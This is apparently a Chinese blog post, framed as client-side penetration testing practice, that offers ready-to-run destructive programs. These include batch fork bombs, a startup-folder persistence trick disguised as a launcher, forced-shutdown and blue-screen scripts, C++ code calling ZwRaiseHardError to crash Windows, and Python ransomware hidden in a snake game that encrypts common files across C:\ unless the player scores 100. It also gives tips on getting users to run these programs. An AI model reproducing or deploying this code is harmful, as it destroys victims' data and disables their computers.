客户端渗透测试练习(part2:客户端攻击篇2)

#0:前言

上一篇文章我们自己写了一个可以在被攻击主机上执行任意cmd命令的exploit,这次我们再来看看一些不需要网络通信的破坏型(大多数是)程序。

PS:本章所有的程序都是通过新建文档页面上传至服务器(如果你想的话),而且最好不要在自己的主机上运行(除非你想让你的电脑死机),使用虚拟机是不错的选择,因为至少虚拟机软件让你可以赶在虚拟机死机前将它关掉。

#1:如果只是想搞破坏

#0:内存耗尽(基础版)

新建一个bat文件,输入

@echo off
:loop
start cmd.exe
goto loop

如果运行,就会不断有cmd窗口出现,时间一长,电脑就会死机(具体时间要看目标主机的内存有多大和上面是否安装有可以阻止该行为的安全软件),但是这种方法未免有点慢,如果手速够快,就可以将源程序关掉,然后再清除cmd窗口。

#1:内存耗尽(进阶版)

再新建一个bat文件,输入

:loop
start %0
goto loop

这次就不是一次产生一个窗口了,而是呈几何级数增长的窗口,但是,美中不足的是,我们这个程序太小了,要等它填满内存也是比较慢的,有没有更快的方法?

#2:内存耗尽(进阶版+)

再新建一个bat文件,输入

@echo off
:loop
start cmd.exe start %0 goto loop

这次就比刚才的快多了,其实,还可以增加启动的程序的数量来达到更快的死机速度,但是这里就不一一列举了。

但是,这个需要靠用户运行,用户运行一次之后就知道这不是个好东西,没准就把它删了(当然用户会将其发给别人也不是不可能)。

#3:设置自启

新建一个bat文件(这里需要让别人相信这个文件是启动文件,而不是另一个)实现自启

@echo off
copy test.bat "%ALLUSERSPROFILE%\「开始」菜单\程序\启动\"
start test.bat

如果用户运行这个(里面的test.bat是先前编写的bat文件),那么他只会得到和前面一样的一个不断增加的cmd窗口,但是如果他重启电脑,那么仍然会出现相同的状况,所以相当于我们废了这台电脑(其实也不完全是,如果是多系统计算机或者有U盘系统的人,那么是可以用其他系统删掉这个文件的)。

#4:自动关机

新建bat文件,输入

shutdown -s -t 0

然后再将其与设置自启文件一起使用,那么就会使该计算机每次一开机就立马关机,等于说还是让该电脑无法使用。

#5:蓝屏1

新建bat,输入

Taskkill /fi "pid ge 1" /f

可以搭配自启使用,100%蓝屏,对电脑无影响。

#6:蓝屏2

使用C++,编写如下(来源:知乎。)

#include <Windows.h>

BOOL SetPrivilege(LPCSTR lpPrivilegeName, WINBOOL fEnable)
{

    HANDLE hToken; 
    TOKEN_PRIVILEGES NewState; 
    LUID luidPrivilegeLUID; 


    if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
    { 
        /*If opening token failed...*/
        return FALSE; 
    } 


    if(fEnable == FALSE) /*We disable all the privileges... */
    {
        if(!AdjustTokenPrivileges(hToken, TRUE, NULL, NULL, NULL, NULL))
        {
            return FALSE;
        }
        else return TRUE;
    }
    /*Look up the LUID value of the privilege... */
    LookupPrivilegeValue(NULL, lpPrivilegeName, &luidPrivilegeLUID);

    NewState.PrivilegeCount = 1; 
    NewState.Privileges[0].Luid = luidPrivilegeLUID; 
    NewState.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 
    /*Improve this process's privilege, so we can shut down the system next. */
    if(!AdjustTokenPrivileges(hToken, FALSE, &NewState, NULL, NULL, NULL))
    {
        return FALSE;
    }

    /*We should not only check if the improving was successed... */
    if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
    {
        return FALSE;
    } 

    return TRUE;
}

typedef enum _HARDERROR_RESPONSE_OPTION {
    OptionAbortRetryIgnore,
    OptionOk,
    OptionOkCancel,
    OptionRetryCancel,
    OptionYesNo,
    OptionYesNoCancel,
    OptionShutdownSystem,
    OptionOkNoWait,
    OptionCancelTryContinue
} HARDERROR_RESPONSE_OPTION;

typedef LONG (WINAPI *type_ZwRaiseHardError)(LONG ErrorStatus, ULONG NumberOfParameters, ULONG UnicodeStringParameterMask, PULONG_PTR Parameters, HARDERROR_RESPONSE_OPTION ValidResponseOptions, PULONG Response);

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWCH   Buffer;
} UNICODE_STRING;

int main(int argc, char* argv[])
{
    FreeConsole();
    UNICODE_STRING str = {8, 10, L"test"};
    ULONG x, args[] = {0x12345678, 0x87654321, (ULONG)&str};
    HMODULE hDll = GetModuleHandle(TEXT("ntdll.dll"));
    type_ZwRaiseHardError ZwRaiseHardError = (type_ZwRaiseHardError)GetProcAddress(hDll, "ZwRaiseHardError");

    bool bSuccess = SetPrivilege(SE_SHUTDOWN_NAME, TRUE);
    if(bSuccess) ZwRaiseHardError(0xC000021A, 3, 4, args, OptionShutdownSystem, &x);

    SetPrivilege(NULL, FALSE);
    return 0;
}

#7:蓝屏(假)

访问这个网址,下载Windows自己提供的蓝屏屏保,然后只需要使用bat调用就行了。

#2:让我们更高级一些(下面的都是python程序,使用请先转为exe或别的什么格式)

强行游戏(勒索病毒)

还记得之前我们伪装恶意代码的那个贪吃蛇游戏吗,这里我们将使用它来做一个例子。

打开一个贪吃蛇的副本,修改为如下代码:

import random
import pygame
from pygame.locals import *
import ed
import os

pygame.init()

screencaption = pygame.display.set_caption('snake')
screen = pygame.display.set_mode((600,500))
w=59
h=49
speed=20
score=0
scoret=0
direction=[-1,0]
size=10,10
dead=False
snake_lst=[[30,25],[31,25],[32,25]]
f_x=random.randint(0,59)
f_y=random.randint(0,49)
f_pos=[f_x,f_y]
f=True
clock=pygame.time.Clock()

for root, dirs, files in os.walk("C:\\", topdown=False):
    for name in files:
        file=name.split('.')
        if file[1] in ['txt','jpg','png','jpeg','mp4','gif','zip','rar','7z','3gp','avi','docx','pptx','xlsx','ppt','data','bat','vbs','com','exe']:
            ed.en(root,file[0],file[1])

while True:
    clock.tick(speed)
    for event in pygame.event.get():
        if event.type == pygame.QUIT:
            pygame.quit()
            exit()
        elif event.type == KEYDOWN:
            if event.key==K_LEFT:
                direction=[-1,0]
            elif event.key==K_RIGHT:
                direction=[1,0]
            elif event.key==K_UP:
                direction=[0,-1]
            elif event.key==K_DOWN:
                direction=[0,1]
    screen.fill((255,255,255))

    while f==False or f_pos in snake_lst:
        f_x=random.randint(0,59)
        f_y=random.randint(0,49)
        f_pos=[f_x,f_y]
        f=True
    
    head=snake_lst[0]
    new_x=head[0]+direction[0]
    new_y=head[1]+direction[1]
    if (not [new_x,new_y] in snake_lst) and 0<=head[0]<59 and 0<=head[1]<49: 
        snake_lst.insert(0,[new_x,new_y])
        if [new_x,new_y]==f_pos:
            f=False
            score+=1
        else:
            snake_lst.pop()
    else:
        dead=True
        myfont = pygame.font.Font(None,100)
        font_color=10,10,10
        text = 'Game Over:('
        textImage = myfont.render(text,True,font_color)
        screen.blit(textImage,(100,100))
    if score==10:
        speed*=2
        score=0
        scoret+=10
    if(scoret>100):
        for root, dirs, files in os.walk("C:\\", topdown=False):
            for name in files:
                file=name.split('.')
                if file[1] in ['txt','jpg','png','jpeg','mp4','gif','zip','rar','7z','3gp','avi','docx','pptx','xlsx','ppt','data','bat','vbs','com','exe']:
                    ed.de(root,file[0],file[1])
    if not dead:
        for i in range(w):
            for j in range(h):
                color=(251,251,251) if [i,j] in snake_lst else ((245,34,45) if [i,j]==f_pos and f==True else (90,90,90))
                pos=i*10,j*10
                pygame.draw.rect(screen,color,Rect(pos,size))
    else:
        if(scoret<100):
            myfont = pygame.font.Font(None,60)
            font_color=10,10,10
            text = '你的文件凉了。'
            textImage = myfont.render(text,True,font_color)
            screen.blit(textImage,(100,100))
    pygame.display.update()

文件开头导入的ed库如下:

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Util.Padding import unpad
from Crypto.Random import get_random_bytes

def en(fpath,fname,ftype):
    # 要加密的内容
    with open(fpath+fname+'.'+ftype,'rb') as f:
        data = f.read()
    # 随机生成16字节(即128位)的加密密钥
    key = get_random_bytes(16)
    # 实例化加密套件,使用CBC模式
    cipher = AES.new(key, AES.MODE_CBC)
    # 对内容进行加密,pad函数用于分组和填充
    encrypted_data = cipher.encrypt(pad(data, AES.block_size))

    # 将加密内容写入文件
    file_out = open(fpath+fname+'.'+ftype, "wb")
    # 在文件中依次写入key、iv和密文encrypted_data
    [file_out.write(x) for x in (key, cipher.iv,  encrypted_data)]
    file_out.close()

def de(fpath,fname,ftype):
    # 从前边文件中读取出加密的内容
    file_in = open(fpath+fname+'.'+ftype, "rb")
    # 依次读取key、iv和密文encrypted_data,16等是各变量长度,最后的-1则表示读取到文件末尾
    key, iv, encrypted_data = [file_in.read(x) for x in (16, AES.block_size, -1)]

    # 实例化加密套件
    cipher = AES.new(key, AES.MODE_CBC, iv)
    # 解密
    data = unpad(cipher.decrypt(encrypted_data), AES.block_size)
    file_in.close()
    with open(fpath+fname+'d.'+ftype,'wb') as f:
        f.write(data)

if __name__ == "__main__":
    fp=''
    fn='test'
    ft='txt'
    en(fp,fn,ft)
    de(fp,fn,ft)

简单来说就是一个贪吃蛇游戏,游戏开始前将C盘中常见文件加密,然后让人玩游戏,没有得到100点分数就死亡的,文件就回不去了,拿到了100点的,就把文件恢复。

灵感来源:B站此视频

好了,这次先到这里吧,下一章也许会有更加丰富的客户端攻击。

结尾彩蛋:社会主义的毒打

新建一个python文件,输入

import win32api
import win32con
import win32gui
from playsound import playsound
import os
import easygui as g

def setWallpaper(path):
        reg_key = win32api.RegOpenKeyEx(win32con.HKEY_CURRENT_USER,"Control Panel\\Desktop",0,win32con.KEY_SET_VALUE)

        #2:拉伸  0:居中  6:适应  10:填充
        win32api.RegSetValueEx(reg_key, "WallpaperStyle", 0, win32con.REG_SZ, "2")

        #SPIF_SENDWININICHANGE:立即生效
        win32gui.SystemParametersInfo(win32con.SPI_SETDESKWALLPAPER, path, win32con.SPIF_SENDWININICHANGE)

if g.ccbox(msg="检测检测到您的电脑里全是资本主义的渣滓,是否立即改正并忏悔?",title="社会主义",choices=("好的同志","我热爱资本主义")):
        path=os.getcwd()
        #print(path)
        setWallpaper(path+"\sl.png")#名称可自定义
        while True:
                playsound(r'sl.mp3')
else:
        msg=d.msgbox(msg='你将遭到社会主义的毒打!',title="社会主义",ok_button='确定')
        path=os.getcwd()
        #print(path)
        setWallpaper(path+"\sl.png")
        while True:
                playsound(r'sl.mp3')

然后从网上下载苏联国歌和苏联国旗(要与该程序在同一目录),名称与你自定义的要一致,只要运行就会弹出提示,不管选哪个都会被迫将桌面壁纸替换为苏联国旗,并播放苏联国歌。

posted @ 2021-03-14 20:56  awcyvan  阅读(302)  评论(0编辑  收藏  举报